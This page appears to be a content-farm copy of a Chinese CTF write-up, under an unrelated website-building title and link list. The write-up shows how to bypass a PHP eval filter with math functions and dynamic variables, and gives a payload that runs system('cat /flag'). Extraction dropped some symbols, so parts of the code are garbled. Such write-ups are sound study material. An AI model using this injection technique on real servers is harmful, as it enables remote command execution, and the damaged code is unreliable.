当前位置: 首页 > news >正文

唐山网站建设方案报价网站建设专业英文

唐山网站建设方案报价,网站建设专业英文,信阳网站建设哪家好,邓卅做网站在什么地方文章目录 前言考点解题过程 前言 感慨自己实力不够#xff0c;心浮气躁根本做不来难题。难得这题对我还很有吸引力#xff0c;也涉及很多知识。只能说我是受益匪浅#xff0c;总的来说加油吧ctfer。 考点 利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特… 文章目录 前言考点解题过程 前言 感慨自己实力不够心浮气躁根本做不来难题。难得这题对我还很有吸引力也涉及很多知识。只能说我是受益匪浅总的来说加油吧ctfer。 考点 利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特性就是可以用变量执行函数 解题过程 打开题目源代码 ?php error_reporting(0); //听说你很喜欢数学不知道你是否爱它胜过爱flag if(!isset($_GET[c])){show_source(__FILE__); }else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {die(太长了不会算);}$blacklist [ , \t, \r, \n,\, , , \[, \]];foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $content)) {die(请不要输入奇奇怪怪的字符);}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die(请不要输入奇奇怪怪的函数);}}//帮你算出答案eval(echo .$content.;); } 简单分析一下只有一个GET传参参数是c然后对上传的值进行黑名单检测接着给了白名单以及常用的数学函数。这个提示很明显了需要我们用函数进行转换成我们的执行命令 我们访问该链接发现base_convert函数是突破口很明显我们要转换成字母 我们试试将phpinfo转换成十进制 然后在题目测试一下 发现成功访问 思路正确后我们现在就要想构造类似于system(ls /);这样的出来但是这里对我们c的值进行了超多过滤这里用的是构造出类似$_GET[1]这样。 关键点利用php动态函数的特性比如我们可以构造 ?c$a_GET;($$a)[1]1phpinfo();如此来看我们就可以绕过正则匹配的限制 现在的问题就是如何构造出_GET这里需要用到的两个函数是 dechex()函数 可以将十进制转换为十六进制 hex2bin()函数 可以将十六进制转换为ascii码 这里一开始做可能会有疑惑为什么要用到dechex()函数呢其实目的很明显因为c的值不能有字母而我们要想利用hex2bin()函数即十六进制有字母出现必须要进行转换 经过测试 hex2bin(5f474554) -- _GET往前推hex2bin可以用base_convert函数表示 base_convert(37907361743,10,36) -- hex2bin5f474554用dechex函数表示 dechex(1598506324); -- 5f474554整理一下 ?c$absbase_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}1phpinfo();注命名为$abs是因为abs在白名单里可以通过检测 然后再考虑到[]被过滤用{}替换即可 但是上传后并没有回显 原因很简单phpinfo只是被当成字符串并没有执行phpinfo(); 这里最后一个点就是我们传递的参数值为两个(即一个是函数名 一个是参数)该如何绕过呢 解决方法是用php7的特性就是可以用变量执行函数 简单测试下可以发现打印test出来 所以我们的payload为 ?c$absbase_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}(($$abs){2})1system2cat /flag得到flag
http://www.hkea.cn/news/14432720/

相关文章:

  • 云南做网站公司用asp做网站有哪控件
  • jq网站特效插件下载免费的oa办公系统排名
  • 永川做网站的公司95598网站服务建设
  • 怎样做一个简单的网站vue 微信公众号开发
  • 简单网站的制作wordpress 七牛云上传
  • 网站建设做得好广东免费建站公司
  • 网站优化西安wordpress 注册简码
  • 网站建设企业公司推荐江西seo推广软件
  • 网站开发 托管合同哪个合肥seo好
  • 如何做网站解析西安公积金 网站建设
  • 网站后台修改内容看不见了新乡市做网站
  • 机关网站源码wordpress文章排序id
  • 自己怎么做机构网站山东网站建设市场
  • 企业网站维护合同中瑞网络网站建设流程
  • 网站建设与管理用什么软件有哪些汕头百度网站推广
  • 黄梅那里有做网站的WordPress笑模板
  • wap网站 什么意思vi设计怎么做
  • 广西网站建设原创html自我介绍代码
  • 潍坊哪里可以做网站上海哪家公司可以做网站
  • 设计专业所需网站管理软件有哪几种
  • 百度贴吧有没有做网站的人wordpress评论按钮插件
  • 免费开源企业网站程序中国建造师人才网
  • 淘宝上做微请帖的在哪个网站网站后台 黑链接
  • 如何制作导航网站网页怎么制作二维码
  • 糖果网站是李笑来做的吗简网app工场怎么创app
  • 网站建设php实验报告如何建立一个学校网站
  • 一般做企业网站需要什么建网站的每年有费用
  • unity网站后台怎么做编程猫官网
  • 网站域名详解长沙微信网站建设
  • 贵阳好的网站建设公司谁家网站做的好